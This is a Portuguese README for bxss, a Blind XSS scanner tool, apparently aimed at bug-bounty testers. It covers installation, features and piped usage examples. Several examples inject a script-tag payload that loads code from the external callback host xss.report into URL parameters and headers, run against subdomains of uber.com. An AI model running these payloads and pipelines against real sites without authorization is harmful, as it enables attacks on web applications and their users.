Bxss - Scanner de XSS Cego

🚀 Descrição

Bxss é um scanner de Blind XSS de alto desempenho que automatiza a detecção de vulnerabilidades de Blind XSS em aplicações web.

✨ Funcionalidades

• Injeta payloads de Blind XSS em cabeçalhos e parâmetros personalizados
• Suporta múltiplos métodos HTTP (PUT, POST, GET, OPTIONS)
• Escaneamento de alta velocidade com suporte a concorrência
• Facilmente encadeável com outras ferramentas
• Instalação e uso simples

🧠 Em Progresso

Estamos trabalhando ativamente na integração de um pool de workers baseado em Chromium para melhorar o desempenho do bxss em dispositivos de baixo custo.

Esta funcionalidade permitirá que tarefas intensivas em recursos, como detecção de XSS baseado em DOM ou inspeção de payload pós-acionamento, sejam transferidas para instâncias leves do Chromium gerenciadas através de um pool. Ao distribuir a carga de trabalho por múltiplos contextos de navegador headless de forma controlada e eficiente, o bxss permanecerá responsivo e utilizável mesmo em máquinas de especificações mais baixas.

Isso tornará o bxss não apenas poderoso, mas também altamente acessível, independentemente das limitações do sistema.

✅ TODOs

• Pool de workers baseado em Chromium para interação com DOM e verificação visual
• Saída opcional de relatórios em HTML/JSON
• Adicionar suporte para personalização de payloads multiplataforma (XSS Hunter, Interactsh, etc.)
• Suporte a proxy
• Importar requisições personalizadas

🧪 Funcionalidades Experimentais

• Modo Trace (experimental)

📦 Instalação

go install -v github.com/ethicalhackingplayground/bxss/v2/cmd/bxss@latest

⚙️ Argumentos

🎬 Demonstração

📝 O que é o Modo Trace?

O Modo Trace é uma funcionalidade experimental que permite rastrear onde o BlindXSS foi acionado. Algumas plataformas de BlindXSS de terceiros, como o https://xss.report/, permitem que você especifique parâmetros personalizados nos seus payloads. Isso permite rastrear onde o BlindXSS foi acionado. Por exemplo, se você especificar o parâmetro url=https://somehost.com no seu payload, a ferramenta usará o payload:

'"><script src=https://xss.report/c/username?url=https://somehost.com></script>'

para teste e, ao ser acionado, você poderá inspecionar o DOM e ver de qual host o BlindXSS foi acionado.

Certifique-se de, ao atribuir parâmetros personalizados no seu painel, atribuir url={LINK} para que o bxss possa substituir automaticamente {LINK} pela URL real.

🔥 Exemplos de Uso

Parâmetros

subfinder -d uber.com \
| gau \
| grep "&" \
| bxss -p '><script src=https://xss.report/c/username></script>' \
-t

Anexar aos Parâmetros

subfinder -d uber.com \
| gau \
| grep "&" \
| bxss -a -p '><script src=https://xss.report/c/username></script>' \
-t

Cabeçalhos e Parâmetros

subfinder -d uber.com \
| gau \
| grep "&" \
| bxss -p '><script src=https://xss.report/c/username></script>' \
-H "User-Agent" \
-t

Cabeçalho X-Forwarded-For

subfinder -d uber.com \
| gau \
| bxss -p '><script src=https://xss.report/c/username></script>' \
-H "X-Forwarded-For"

Cabeçalhos e Parâmetros Personalizados

echo uber.com \
| haktrails subdomains \
| httpx \
| hakrawler -u \
| bxss -p '><script src=https://xss.report/c/username></script>' \
-H "User-Agent" \
-t

Google Dorks com Dorki

curl -X GET -H "Authorization: Bearer <Token>" \
-H "X-Secret-Key: <Secret>" \
https://dorki.attaxa.com/api/search?q=site:example.com -s \
| jq -r .[][].url \
| grep "&" \
| bxss -a -p '><script src=https://xss.report/c/username></script>'

Cabeçalhos e Parâmetros Personalizados com Limite de Taxa

echo uber.com \
| haktrails subdomains \
| httpx \
| hakrawler -u \
| bxss -a -p '><script src=https://xss.report/c/username></script>' \
-H "User-Agent" \ 
-t \
-rl 10

Para dorking avançado e exploração de vulnerabilidades, confira o Dorki e inscreva-se hoje!

☕ Apoie o Projeto

Se você conseguir uma recompensa usando esta ferramenta, considere apoiar comprando um café para mim!